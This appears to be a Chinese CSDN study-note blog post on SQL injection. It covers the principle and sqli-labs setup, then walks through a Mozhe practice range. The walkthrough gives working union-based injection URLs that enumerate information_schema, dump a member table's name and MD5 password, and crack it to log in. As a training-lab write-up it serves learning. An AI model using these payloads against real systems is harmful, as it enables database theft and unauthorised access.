网安学习day12(SQL注入)

前言:

  • 在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

!](https://img-blog.csdnimg.cn/7ad64407e0764122a4ad19e50c07fefa.png)

思维导图简要说明

  • SQL注入安全测试中危害
  • SQL注入产生原理详细分析
  • 可控变量,带入数据库查询,变量未存在过滤或过滤不严重

原理

  • Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

什么是sql注入

  • 通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  • 利用应用程序漏洞
  • 恶意SQL命令注入到后台数据库引擎,并执行

理论分析

www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id10-------网站默认加上了首页文件指向index.php
www.xiaodi8.com/?id=8&x=1----------多了参数
www.xiaodi8.com/index.php----------post注入

  • Q:可能存在注入的编号选项有哪几个
  • A:第一个第二个第三个 。其实都有

  • Q:参数x有注入,以下哪个注入测试正确?
    • www.xiaodi8.com/news.php?y=1 and 1=1 &x=2----------主语句给了y没有给x
    • www.xiaodi8.com/news.php?y=1 & x=2 and 1=1 ----------正确
    • www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1---------正确
    • www.xiaodi8.com/news.php?xx=1 and 1=1 & xxx=2 and 1=1------参数名不对
  • ?:后面有参数,&:连接参数名
  • A:第二个和第三个

注入方法

http:// www.. com/ .asp?id=x (ASP注入)
或者下面的链接
http:// www.
. com/ .php?id=x (php注入).
http:// www.
. com/ .jsp?id=x (jsp注入)
http:// www.
. com/ .aspx?id=x (aspx注入)。
http:// www.
. com/index.asp?id=8&page=99(注:注入的时候确认是id参数还是page 参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)。
http:// www.****.com/index/new/id/8伪静态。
http:// www.
****.com/index/new/php-8.html伪静态

步骤

在这里插入图片描述

实操

配置环境

下载phpstudy,并安装pikachu,sqli_libs。

教程及安装链接:https://blog.csdn.net/liguangyao213/article/details/122698215

sqlilab Less-2的实操

配置好后进入phpstudy_pro\WWW\sqli-labs-master\Less-2目录下的index文件
cmd查看ip地址然后浏览器输入ip。进入sqlilabs
在这里插入图片描述

  • 在网址后输入index.php?id=1
    在这里插入图片描述
    修改代码。添加一个输出
    在这里插入图片描述
    返回页面变成了一条sql语句

在这里插入图片描述
id改为2后
在这里插入图片描述
这里分为几步
- 接收数据
- 拼接数据
- 数据库执行
- 数据库展示

登录
在这里插入图片描述

用sql语句查询:select * from users where id=1;

在这里插入图片描述
联合查询邮箱— SELECT * FROM users WHERE id=-1 union select 1,email_id from emails LIMIT 0,1;
在这里插入图片描述

墨者靶机 MYSQL 注入演示

进入 SQL手工注入漏洞测试(MySQL数据库-字符型) 靶场

在这里插入图片描述
访问
在这里插入图片描述
发现页面http://124.70.22.208:47552/new_list.php?id=1有注入点

  • 判断注入
    • 猜解列名数量(字段数) order by 判断错误正常的值

输入 order by 1 发现正常在这里插入图片描述


依次输入 order by 2,3,4,5后,发现1234都正常,输入5后页面空白。说明有4个id在这里插入图片描述

  • 猜解准备
添加语句为:http://124.70.22.208:47552/new_list.phpid=1%20union%20select%201,2,3,4

让页面报错:添加 and 1=2 或者 id=-1

  • 信息收集:
    • 数据库版本:version()
    • 数据库名字:database()
    • 数据用户:user()
    • 操作系统:@@version_compile_os

如图,页面出现了2,3。如果要显示信息就需要在对应的数字下改动在这里插入图片描述
我们在2这里修改database(),3修改user()在这里插入图片描述
利用这些将所有信息收集全
数据库版本:version()-----------5.7.22-0ubuntu0.16.04.1
- 数据库名字:database()--------mozhe_Discuz_StormGroup
- 数据用户:user()----------root@localhost
- 操作系统:@@version_compile_os --------Linux


小知识:
1.在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为:information_schema,它是一个存储有所有数据库名、表名、列名的数据库,也相当于可以通过查询他获取指定数据库下面的表面和列表信息。
2.数据库符号"."表示下一级,nuc.Eidson就表示nuc数据库下Edison表名
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
table_schema:数据库名
Table_name:表名

  • 查询指定数据库mozhe_Discuz_StormGroup名下的表名信息
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=%27mozhe_Discuz_StormGroup%27

在这里插入图片描述

  • 查询指定表名(StormGroup_member表)
http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27

在这里插入图片描述

  • 查询指定数据(id,password)

http://124.70.22.208:47552/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member

在这里插入图片描述
账号:mozhe
密码:356f589a7df439f6f744ff19bb8092c0
通过md5解码
在这里插入图片描述
最后结果
账号:mozhe
密码:dsan13
可是发现不行
在这里插入图片描述

继续尝试

http://124.70.22.208:47552/new_list.php?id=0%20union%20select%201,name,password,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%201,1

在这里插入图片描述
看样子应该是可以,去MD5解个码
在这里插入图片描述
尝试登录
在这里插入图片描述
成功!
提交key
在这里插入图片描述

如何判读注入点

  • and 1=1 页面正常
  • and 1=2 页面错误—可能存在注入点
举例:
select * from users where id=1 and 1=1;正常
select * from users where id=1 and 1=2;错误
解释:
1=1正确,1=2错误
and运算原则是1 and 1 =11 and 0 =0


  • 逻辑运算符
    或 且 非 or and xor
    真且真=真;真且假=假;真或假=真
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Edison.W

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值